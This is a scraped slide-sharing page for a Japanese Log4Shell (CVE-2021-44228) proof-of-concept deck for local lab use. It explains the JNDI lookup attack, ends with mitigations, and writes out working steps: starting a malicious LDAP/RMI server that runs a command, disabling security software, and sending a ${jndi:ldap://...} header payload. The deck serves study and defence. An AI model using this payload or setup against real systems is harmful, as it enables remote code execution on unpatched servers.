Submit Search
Upload
Log4j Exploit PoC
•
Download as PPTX, PDF
•
0 likes
•
1,151 views
T
tomoakitsutsui
Follow
this is document on log4j exploit and around info
Read less
Read more
Internet
Report
Share
Report
Share
1 of 22
Download now
Recommended
レシピの作り方入門
レシピの作り方入門
Nobuhiro Iwamatsu
Develop QNAP NAS App by Docker
Develop QNAP NAS App by Docker
Terry Chen
中国と深センでの半導体とRISC-V業界事情
中国と深センでの半導体とRISC-V業界事情
Junichi Akita
Basic of virtual memory of Linux
Basic of virtual memory of Linux
Tetsuyuki Kobayashi
Kubernetes Networking with Cilium - Deep Dive
Kubernetes Networking with Cilium - Deep Dive
Michal Rostecki
品質と開発スピードの両立と、OSSのリスク低減策のご紹介 / GTMF2019
品質と開発スピードの両立と、OSSのリスク低減策のご紹介 / GTMF2019
Game Tools & Middleware Forum
コンテナ時代のOpenStack
コンテナ時代のOpenStack
Akira Yoshiyama
UnboundとNSDの紹介 BIND9との比較編
UnboundとNSDの紹介 BIND9との比較編
hdais
Recommended
レシピの作り方入門
レシピの作り方入門
Nobuhiro Iwamatsu
Develop QNAP NAS App by Docker
Develop QNAP NAS App by Docker
Terry Chen
中国と深センでの半導体とRISC-V業界事情
中国と深センでの半導体とRISC-V業界事情
Junichi Akita
Basic of virtual memory of Linux
Basic of virtual memory of Linux
Tetsuyuki Kobayashi
Kubernetes Networking with Cilium - Deep Dive
Kubernetes Networking with Cilium - Deep Dive
Michal Rostecki
品質と開発スピードの両立と、OSSのリスク低減策のご紹介 / GTMF2019
品質と開発スピードの両立と、OSSのリスク低減策のご紹介 / GTMF2019
Game Tools & Middleware Forum
コンテナ時代のOpenStack
コンテナ時代のOpenStack
Akira Yoshiyama
UnboundとNSDの紹介 BIND9との比較編
UnboundとNSDの紹介 BIND9との比較編
hdais
Container Networking Deep Dive
Container Networking Deep Dive
Hirofumi Ichihara
"SRv6の現状と展望" ENOG53@上越
"SRv6の現状と展望" ENOG53@上越
Kentaro Ebisawa
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
Ray Jenkins
Trace kernel code tips
Trace kernel code tips
Viller Hsiao
Androidの新ビルドシステム
Androidの新ビルドシステム
l_b__
XunitとMoq 公開用
XunitとMoq 公開用
ESM SEC
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
Kuniyasu Suzaki
The linux networking architecture
The linux networking architecture
hugo lu
不揮発メモリ(NVDIMM)とLinuxの対応動向について
不揮発メモリ(NVDIMM)とLinuxの対応動向について
Yasunori Goto
Dataplane programming with eBPF: architecture and tools
Dataplane programming with eBPF: architecture and tools
Stefano Salsano
ARM Trusted FirmwareのBL31を単体で使う!
ARM Trusted FirmwareのBL31を単体で使う!
Mr. Vengineer
高位合成ツールVivado hlsのopen cv対応
高位合成ツールVivado hlsのopen cv対応
marsee101
Cloud Native Networking & Security with Cilium & eBPF
Cloud Native Networking & Security with Cilium & eBPF
Raphaël PINSON
FD.io VPP事始め
FD.io VPP事始め
tetsusat
Differences of the Cisco Operating Systems
Differences of the Cisco Operating Systems
美兰 曾
How to run P4 BMv2
How to run P4 BMv2
Kentaro Ebisawa
Moq & Fakes Framework を使った実践的ユニットテスト - BuildInsider
Moq & Fakes Framework を使った実践的ユニットテスト - BuildInsider
貴志 上坂
用十分鐘 向jserv學習作業系統設計
用十分鐘 向jserv學習作業系統設計
鍾誠 陳鍾誠
eStargzイメージとlazy pullingによる高速なコンテナ起動
eStargzイメージとlazy pullingによる高速なコンテナ起動
Kohei Tokunaga
DockerとPodmanの比較
DockerとPodmanの比較
Akihiro Suda
Odl intro20141029
Odl intro20141029
NEC Corporation
Java/Androidセキュアコーディング
Java/Androidセキュアコーディング
Masaki Kubo
More Related Content
What's hot
Container Networking Deep Dive
Container Networking Deep Dive
Hirofumi Ichihara
"SRv6の現状と展望" ENOG53@上越
"SRv6の現状と展望" ENOG53@上越
Kentaro Ebisawa
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
Ray Jenkins
Trace kernel code tips
Trace kernel code tips
Viller Hsiao
Androidの新ビルドシステム
Androidの新ビルドシステム
l_b__
XunitとMoq 公開用
XunitとMoq 公開用
ESM SEC
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
Kuniyasu Suzaki
The linux networking architecture
The linux networking architecture
hugo lu
不揮発メモリ(NVDIMM)とLinuxの対応動向について
不揮発メモリ(NVDIMM)とLinuxの対応動向について
Yasunori Goto
Dataplane programming with eBPF: architecture and tools
Dataplane programming with eBPF: architecture and tools
Stefano Salsano
ARM Trusted FirmwareのBL31を単体で使う!
ARM Trusted FirmwareのBL31を単体で使う!
Mr. Vengineer
高位合成ツールVivado hlsのopen cv対応
高位合成ツールVivado hlsのopen cv対応
marsee101
Cloud Native Networking & Security with Cilium & eBPF
Cloud Native Networking & Security with Cilium & eBPF
Raphaël PINSON
FD.io VPP事始め
FD.io VPP事始め
tetsusat
Differences of the Cisco Operating Systems
Differences of the Cisco Operating Systems
美兰 曾
How to run P4 BMv2
How to run P4 BMv2
Kentaro Ebisawa
Moq & Fakes Framework を使った実践的ユニットテスト - BuildInsider
Moq & Fakes Framework を使った実践的ユニットテスト - BuildInsider
貴志 上坂
用十分鐘 向jserv學習作業系統設計
用十分鐘 向jserv學習作業系統設計
鍾誠 陳鍾誠
eStargzイメージとlazy pullingによる高速なコンテナ起動
eStargzイメージとlazy pullingによる高速なコンテナ起動
Kohei Tokunaga
DockerとPodmanの比較
DockerとPodmanの比較
Akihiro Suda
What's hot
(20)
Container Networking Deep Dive
Container Networking Deep Dive
"SRv6の現状と展望" ENOG53@上越
"SRv6の現状と展望" ENOG53@上越
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
Trace kernel code tips
Trace kernel code tips
Androidの新ビルドシステム
Androidの新ビルドシステム
XunitとMoq 公開用
XunitとMoq 公開用
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
The linux networking architecture
The linux networking architecture
不揮発メモリ(NVDIMM)とLinuxの対応動向について
不揮発メモリ(NVDIMM)とLinuxの対応動向について
Dataplane programming with eBPF: architecture and tools
Dataplane programming with eBPF: architecture and tools
ARM Trusted FirmwareのBL31を単体で使う!
ARM Trusted FirmwareのBL31を単体で使う!
高位合成ツールVivado hlsのopen cv対応
高位合成ツールVivado hlsのopen cv対応
Cloud Native Networking & Security with Cilium & eBPF
Cloud Native Networking & Security with Cilium & eBPF
FD.io VPP事始め
FD.io VPP事始め
Differences of the Cisco Operating Systems
Differences of the Cisco Operating Systems
How to run P4 BMv2
How to run P4 BMv2
Moq & Fakes Framework を使った実践的ユニットテスト - BuildInsider
Moq & Fakes Framework を使った実践的ユニットテスト - BuildInsider
用十分鐘 向jserv學習作業系統設計
用十分鐘 向jserv學習作業系統設計
eStargzイメージとlazy pullingによる高速なコンテナ起動
eStargzイメージとlazy pullingによる高速なコンテナ起動
DockerとPodmanの比較
DockerとPodmanの比較
Similar to Log4j Exploit PoC
Odl intro20141029
Odl intro20141029
NEC Corporation
Java/Androidセキュアコーディング
Java/Androidセキュアコーディング
Masaki Kubo
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
Hibino Hisashi
20150421 Geeks Night @ Money Foward
20150421 Geeks Night @ Money Foward
Naoki Shimizu
JavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project Visage
Yuichi Sakuraba
Nv2017 19 (invited) mibu (nec)
Nv2017 19 (invited) mibu (nec)
ssuser3feafb
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
Asuka Nakajima
Dockerが抱えるネットワークの課題
Dockerが抱えるネットワークの課題
Asuka Suzuki
静的解析ツール Klocworkによる 機能安全規格への対応
静的解析ツール Klocworkによる 機能安全規格への対応
Masaru Horioka
First vr sdk_introduction
First vr sdk_introduction
SatoshiHosono
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
Saki Homma
2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF
Atomu Hidaka
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Koichiro Sumi
Java in the World of Container by David Buck
Java in the World of Container by David Buck
オラクルエンジニア通信
120315 cloud founry_java_ironfoundry
120315 cloud founry_java_ironfoundry
Takayoshi Tanaka
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
Takahiro YAMADA
Keycloakの実際・翻訳プロジェクト紹介
Keycloakの実際・翻訳プロジェクト紹介
Hiroyuki Wada
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
QlikPresalesJapan
Security Learning Vol2 話題の脆弱性をコードで紐解く!
Security Learning Vol2 話題の脆弱性をコードで紐解く!
YOJI WATANABE
LibreOfficeをビルドしてみよう(Windows)
LibreOfficeをビルドしてみよう(Windows)
Masataka Kondo
Similar to Log4j Exploit PoC
(20)
Odl intro20141029
Odl intro20141029
Java/Androidセキュアコーディング
Java/Androidセキュアコーディング
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
20150421 Geeks Night @ Money Foward
20150421 Geeks Night @ Money Foward
JavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project Visage
Nv2017 19 (invited) mibu (nec)
Nv2017 19 (invited) mibu (nec)
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
Dockerが抱えるネットワークの課題
Dockerが抱えるネットワークの課題
静的解析ツール Klocworkによる 機能安全規格への対応
静的解析ツール Klocworkによる 機能安全規格への対応
First vr sdk_introduction
First vr sdk_introduction
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Java in the World of Container by David Buck
Java in the World of Container by David Buck
120315 cloud founry_java_ironfoundry
120315 cloud founry_java_ironfoundry
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
Keycloakの実際・翻訳プロジェクト紹介
Keycloakの実際・翻訳プロジェクト紹介
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
Security Learning Vol2 話題の脆弱性をコードで紐解く!
Security Learning Vol2 話題の脆弱性をコードで紐解く!
LibreOfficeをビルドしてみよう(Windows)
LibreOfficeをビルドしてみよう(Windows)
Log4j Exploit PoC
1.
JNDI Injection Log4j Exploit
PoC VERSION 1.0.0 CREATED BY @tomoaki.tsutsui
2.
脆弱性検証は自己責任で!
3.
この日なんの日 2021-12-09
4.
Log4j脆弱性が全世界に公開された日 2021-12-09
5.
Log4jの脆弱性とは? 今回の脆弱性は「Log4Shell」と呼ばれていて 「別名:CVE-2021-44228」というCVE番号が付与されている脆弱性 Javaの主要なロギングフレームワークである「Log4j」で 発見されたゼロデイの任意コードが実行できる脆弱性
6.
時系列 2021年11月24日 Alibabaのクラウドセキュリティチームによって発見、秘密裏にApacheに報告 2021年12月9日に一般に公開 至急対応依頼が全国に出回る!
7.
影響サービス/代表事例 全世界のlog4j2の以下バージョンを利用しているサービスに影響! Apache Log4j-core 2.15.0より前の2系のバージョン ※補足:Log4jライブラリは1系と2系で別れており、影響があるのは2系の上記バージョンのみ (LookUps機能が1系には存在しないため) MINECRAFT内のチャット機能を 通じて受信者のPCで 任意のコマンドを発行できる 不具合
8.
攻撃手法 今回悪用されたのはLog4jに備わっているLookups機能 Lookups機能の中の1つであるJNDI Lookup機能により攻撃者により任 意のコマンドを実行される可能性がある Apache Log4j
Lookups / Jndi Lookup
9.
攻撃パターン①:LDAPサーバを介する ①悪意のある人が脆弱性のある アプリへ悪意のあるリクエスト ②脆弱性のあるアプリ内のlog4jライ ブラリーが動作 ③脆弱性のあるアプリから悪意のあ るLDAPサーバへリクエスト送信 ④悪意のあるLDAPサーバからレス ポンス送信 ⑤脆弱性のあるアプリが、不正な Javaクラスをダウンロード 引用:Zero-Day Exploit Targeting
Popular Java Library Log4j
10.
攻撃パターン②:LDAPサーバを介さない ①悪意のある人が脆弱性のある アプリへ悪意のあるリクエスト ②脆弱性のあるアプリ内のlog4jライ ブラリーが動作 ③脆弱性のあるアプリが、不正な Javaクラスをダウンロード ④不正なJavaクラスが実行される 引用:Observation of Attacks
Targeting Apache Log4j2 RCE Vulnerability (CVE-2021-44228)
11.
POC検証 ⚠注意事項 試す際は危険に晒されてもいい個人のPCを準備した上で、 ローカル環境での検証用としてお使いください!
12.
POC検証 ■今回の検証環境 ・Windows10 home (GitBash上でのコマンド実行) ・Java
JDK8
13.
POC検証:STEP1 悪意のあるLDAP/RMI/WEBサーバ、脆弱性を含むJavaアプリ準備 # 作業ディレクトリに移動(例) cd /d/git/java/log4j-vulnarability #
悪意のあるLDAP/RMI/WEBサーバ git clone https://github.com/pimps/JNDI-Exploit-Kit.git # 脆弱性を含むJavaアプリ git clone https://github.com/tutttuwi/JNDI-Injection-Target-App.git
14.
POC検証:STEP2 アプリ起動 # 悪意のあるLDAP/RMI/WEBサーバのディレクトリに移動 cd JNDI-Exploit-Kit #
ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す bash gradlew build # 悪意のあるサーバの起動 (実行コマンドは calc を指定) java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 127.0.0.1:1389 -J 127.0.0.1:9090 -R 127.0.0.1:1099 -C 'calc' # 脆弱性を含むJavaアプリディレクトリに移動 cd JNDI-Injection-Target-App # ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す bash gradlew build # 脆弱性を含むJavaアプリ起動 ※補足:システムプロパティ[com.sun.jndi.ldap.object.trustURLCodebase]をtrueにしておく java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/JNDI-Injection-Target-App-0.0.1- SNAPSHOT.jar <前提条件> ローカル環境で起動しているセキュリティソフトを一時的に無効化しておくこと ネットワーク攻撃/ボット攻撃への保護機能(IDSなど)が動いていると確認ができない ローカル環境にJavaがインストールされていること
15.
POC検証:STEP3 脆弱性を含むJavaアプリへリクエストの送信 # 脆弱性を含むJavaアプリへリクエスト送信 # 形式:curl
[localip:port] -H '[HederName]: ${jndi:[TargetEnvironmentURL]}' curl 127.0.0.1:8080/jndi-targetapp/info -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/istruy}' # ▶ここでは悪意のあるサーバ起動時に出力された以下のldapサーバのURLを指定 Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://127.0.0.1:1099/istruy ldap://127.0.0.1:1389/istruy
16.
POC検証:実行キャプチャ 悪意のあるリクエスト実行前
17.
POC検証:実行キャプチャ 悪意のあるリクエスト実行後
18.
実行処理解説:悪意のあるWebアプリ アプリ起動 - ServerStart.javaのmainメソッド内でJetty/Ldap/Rmiサーバを起動 - LDAPサーバ:LDAPRefServer.javaのrunメソッドを参照 -
RMIサーバ:RMIRefServer.javaのrunメソッドを参照 - JETTYサーバ:JettyServer.javaを参照 - LdapサーバでJettyサーバのURLが返却された際に、脆弱性のあるWebアプリからdoGetメソッドが呼び出され、対 象のJavaクラスが返却される - Transformers.java - src/main/resources/template直下に格納されているクラスファイルに、以下のコードを埋め込み、Jettyサーバで返却 できるようにしている <リポジトリ> https://github1s.com/pimps/JNDI-Exploit-Kit
19.
実行処理解説:悪意のあるWebアプリ staticブロックに先ほどのコードが 差し込まれたJavaCodeを脆弱性の あるWebアプリがダウンロードし てしまうため、 OSコマンドが実行されてしまう
20.
実行処理解説:脆弱性のあるWebアプリ log4jの脆弱性対象ライブラリーを 意図的に使用
21.
実行処理解説:脆弱性のあるWebアプリ コントローラーの設定 - ヘッダー文字列をLog4j2ライブラリでログ出力する - ※システムプロパティはSpringBoot起動後に変更できないので設定しても意味がないためコメントアウトで 残しています。
22.
本脆弱性を防ぐには (2021/12/27時点のApacheページより) 恒久対応 - log4j2ライブラリーのバージョンアップ - java8
の場合、Apache Log4j 2.17.0を利用する - java7 の場合、Apache Log4j 2.12.3を利用する※java7用に個別対応している - java6 の場合、Apache Log4j 2.3.1を利用する 暫定対応 - JndiLookup クラスをクラスパスから削除する。 - zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Download now